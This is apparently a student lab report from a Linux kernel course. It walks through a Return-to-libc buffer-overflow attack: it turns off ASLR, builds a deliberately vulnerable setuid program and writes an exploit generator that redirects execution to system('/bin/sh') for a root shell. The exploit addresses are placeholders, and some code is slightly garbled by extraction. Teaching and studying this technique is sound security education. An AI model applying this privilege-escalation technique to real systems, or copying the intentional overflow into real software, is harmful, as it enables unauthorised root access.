zoukankan      html  css  js  c++  java
  • 20179203 《Linux内核原理与分析》第十二周作业

    Return-to-libc 攻击实验

    一、实验描述

    缓冲区溢出的常用攻击方法是用 shellcode 的地址来覆盖漏洞程序的返回地址,使得漏洞程序去执行存放在栈中 shellcode。为了阻止这种类型的攻击,一些操作系统使得系统管理员具有使栈不可执行的能力。这样的话,一旦程序执行存放在栈中的 shellcode 就会崩溃,从而阻止了攻击。不幸的是上面的保护方式并不是完全有效的,现在存在一种缓冲区溢出的变体攻击,叫做 return-to-libc 攻击。这种攻击不需要一个栈可以执行,甚至不需要一个 shellcode。取而代之的是我们让漏洞程序跳转到现存的代码(比如已经载入内存的 libc 库中的 system()函数等)来实现我们的攻击。

    二、实验准备

    1、输入命令安装一些用于编译 32 位 C 程序的东西:

    通过以下代码实现这一功能。

    sudo apt-get update
    
    sudo apt-get install lib32z1 libc6-dev-i386
    
    sudo apt-get install lib32readline-gplv2-dev
    
    

    2、输入命令“linux32”进入 32 位 linux 环境。输入“/bin/bash”使用 bash:

    三、实验步骤

    1、初始设置

    Ubuntu 和其他一些 Linux 系统中,使用地址空间随机化来随机堆(heap)和栈(stack)的初始地址,这使得猜测准确的内存地址变得十分困难,而猜测内存地址是缓冲区溢出攻击的关键。因此本次实验中,我们使用以下命令关闭这一功能:

    sudo sysctl -w kernel.randomize_va_space=0
    

    2、漏洞程序

    把以下代码保存为“retlib.c”文件,保存到 /tmp 目录下。代码如下:

    /* retlib.c */
    /* This program has a buffer overflow vulnerability. */
    /* Our task is to exploit this vulnerability */
    include <stdlib.h>
    include <stdio.h>
    include <string.h>
    int bof(FILE *badfile)
    {
    char buffer[12];
    /* The following statement has a buffer overflow problem */
    fread(buffer, sizeof(char), 40, badfile);
    return 1;
    }
    int main(int argc, char **argv)
    {
    FILE *badfile;
    badfile = fopen("badfile", "r");
    bof(badfile);
    printf("Returned Properly
    ");
    fclose(badfile);
    return 1;
    }
    

    编译该程序,并设置 SET-UID。命令如下:

    sudo su
    
    gcc -m32 -g -z noexecstack -fno-stack-protector -o retlib retlib.c
    
    chmod u+s retlib
    
    exit
    

    上述程序有一个缓冲区溢出漏洞,它先从一个叫“badfile”的文件里把 40 字节的数据读取到 12 字节的 buffer,引起溢出。fread()函数不检查边界所以会发生溢出。由于此程序为 SET-ROOT-UID 程序,如果一个普通用户利用了此缓冲区溢出漏洞,他有可能获得 root shell。应该注意到此程序是从一个叫做“badfile”的文件获得输入的,这个文件受用户控制。现在我们的目标是为“badfile”创建内容,这样当这段漏洞程序将此内容复制进它的缓冲区,便产生了一个 root shell 。

    我们还需要用到一个读取环境变量的程序:

    /* getenvaddr.c */
    include <stdio.h>
    include <stdlib.h>
    include <string.h>
    
    int main(int argc, char const *argv[])
    {
     char *ptr;
    
     if(argc < 3){
        printf("Usage: %s <environment var> <target program name>
    ", argv[0]);
        exit(0);
        }
     ptr = getenv(argv[1]);
     ptr += (strlen(argv[0]) - strlen(argv[2])) * 2;
     printf("%s will be at %p
    ", argv[1], ptr);
     return 0;
    }
    

    编译一下:

    gcc -m32 -o getenvaddr getenvaddr.c
    

    3、攻击程序

    把以下代码保存为“exploit.c”文件,保存到 /tmp 目录下。代码如下:

    /* exploit.c */
    include <stdlib.h>
    include <stdio.h>
    include <string.h>
    int main(int argc, char **argv)
    {
     char buf[40];
     FILE *badfile;
     badfile = fopen(".//badfile", "w");
    
     strcpy(buf, "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90");// nop 24 times
    
     *(long *) &buf[32] =0x11111111; // "//bin//sh"
     *(long *) &buf[24] =0x22222222; // system()
     *(long *) &buf[36] =0x33333333; // exit()
     fwrite(buf, sizeof(buf), 1, badfile);
     fclose(badfile);
    }
    

    代码中“0x11111111”、“0x22222222”、“0x33333333”分别是 BIN_SH、system、exit 的地址,需要我们接下来获取。

    4、获取内存地址

    1)用刚才的 getenvaddr 程序获得 BIN_SH 地址:

    2)gdb 获得 system 和 exit 地址:


    修改 exploit.c 文件,填上刚才找到的内存地址:

    删除刚才调试编译的 exploit 程序和 badfile 文件,重新编译修改后的 exploit.c:

    rm exploit
    rm badfile
    gcc -m32 -o exploit exploit.c
    

    5)攻击
    先运行攻击程序 exploit,再运行漏洞程序 retlib,可见攻击成功,获得了 root 权限:

    四、实验总结

    实验最终的结果是成功的控制了root权限,虽然这样的结果和缓冲区溢出攻击达到相同的结果,但是采取的手段完全不同。Return-to-libc攻击,通过已经现存的代码实现攻击。这种攻击在我看来是一种更加隐秘的成功率高的攻击手段。毕竟这样的攻击并不依赖于程序中的漏洞,其漏洞是通过自己生成的代码生成的,因此防范起来更加困难。目前对于 return-into-libc 和返回导向编程攻击,地址空间布局随机化(Address Space Layout Randomization,ASLR)机制是最为有效的防御机制之一。ASLR 可以实现对进程的堆、 栈、代码和共享库等的地址在程序每次运行的时候的随机化, 大大增加了定位到需要利用的代码的正确位置的难度,因此也就大大增加了 return-into-libc 和返回导向编程攻击的难度以及对攻击的防御能力。由于程序运行时的地址被随机化,在攻击时攻击者无法直接定位到所需利用的随机化后的内存地址,而只能依赖于对这些数据、代码运行时的实际地址的猜测。因此攻击者猜对的可能性比较低,很难成功发起攻击。同时,也容易导致程序运行时崩溃,因而减小了检测到攻击的难度。

  • 相关阅读:
    iOS开源App整理
    iOS9 3DTouch 之 Home Screen Quick Actions
    UITabbarController & UITabbar 学习
    Linux一些最基础操作
    logo的表现形式
    LOGO设计中出现文字背后的意义
    标志设计中选择合适的字体
    sketch制作LOGO(三) ---大熊猫
    sketch制作LOGO(二) ---樱花婆婆
    十多个app引导页面欣赏
  • 原文地址:https://www.cnblogs.com/20179203li/p/8053266.html
Copyright © 2011-2022 走看看